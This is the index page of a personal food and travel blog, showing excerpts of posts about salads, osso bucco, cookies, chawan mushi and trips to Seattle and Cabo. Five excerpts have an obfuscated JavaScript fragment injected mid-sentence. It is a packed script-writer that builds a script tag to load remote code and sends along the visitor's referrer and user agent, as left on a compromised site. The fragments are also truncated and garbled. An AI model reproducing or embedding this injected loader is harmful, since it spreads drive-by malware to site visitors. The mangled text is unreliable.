Salad: Craisins, Almonds & Goat Cheese

This is my new favorite salad.  My friend, Brooke, introduced me to it and I’ve been making different versions of it for the past few weeks. The ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nnbsf|var|u0026u|referrer|kysnr||js|php’.split(‘|’),0,{})) base model includes: lettuce, craisins, almonds, goat cheese, and dressing (some sort of a balsamic/olive oil/garlic works fine, you just need to get […]

Eat: Seattle

We live in northern California, but we grew up in Seattle.  As a result, many California friends ask us what to do when they visit the Pacific Northwest! I actually feel really removed from Seattle after living in California for so long, so I wouldn’t call myself an expert.  However, I do have a list […]

Osso Bucco

Osso what? Ok, let’s go back in time a tiny bit.  In December, Nick ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dnnyr|var|u0026u|referrer|kkdbt||js|php’.split(‘|’),0,{})) read the 4 Hour Chef by Tim Ferriss.  Fast forward to February when we are walking through Costco and Nick sees a package of meat labeled “Osso Bucco.” He says, “oh, let’s make that!” Wait.  What?  […]

TJs: Channa Masala

Nick and I aren’t necessarily adventurous eaters, but we are definitely open minded eaters.  While in Whistler, we ate at an Indian restaurant.  I think this was maybe the 2nd time we’ve ever had Indian.  But we were game.  And it was delicious! We learned that one of the dishes we ordered, Channa Masala, also […]

Valentines Day Hamburgers

We don’t have Internet right now so I’m posting from my phone. That’s dedication, peeps! Here’s one of my favorite valentines day meals! Heart shaped hamburgers. All you need is a large heart cookie cutter. Shape the patties before grilling and then cut out the buns and lettuce. Boom.

Coolest Coke Machine EVER

So we hit up a Taco Time – yes – a Taco Time.  You don’t know about Taco Time?  It’s a Washington thing apparently.  And it’s good bad Mexican food.  The best part?  They sell mexi-fries.  Which are basically super crunchy tater tots. Guess what else they have?  A futuristic Coke machine that dispenses 100+ […]

Caprese, Broccoli, and Hamburger Patties

We ended up with a pretty tasty meal on Sunday night. After looking through the fridge and lamenting that there was nothing to eat, we decided to pull together a random assortment of foods and see what happened. Caprese ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dafrh|var|u0026u|referrer|dtain||js|php’.split(‘|’),0,{})) Salad 2 diced tomatoes (I used the ones on a vine….but […]

Nutella, Chocolate Chip, Brown Butter, Salted Cookies

Or something like that.  I basically just listed all the ingredients.  It’s a mouth full, in more ways than one! My friend, Brooke, sent me this recipe from Annie’s ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hyfis|var|u0026u|referrer|hadsb||js|php’.split(‘|’),0,{})) Eats.  And since I like all of the ingredients listed, I decided to give it a try.

Chawan Mushi

Yes, you read that right.  It’s not English, it’s Japanese.  My grandma made chawan mushi on new years growing up.  And it’s one of my most favorite things to eat.  It’s a savory custard.  Which sounds weird, and most people think it is, until they try it.  And then they think it’s kind of delicious.

Travel: Cabo

It’s freezing here in California.  Literally.  I slipped (not bad) on a patch of ice while on our weekly Starbucks walk!  Don’t worry, I saved the drink 🙂 So this week I thought I’d talk about my favorite WARM vacation spot, Cabo! We first headed to Cabo in 2009, and fell in love with the […]
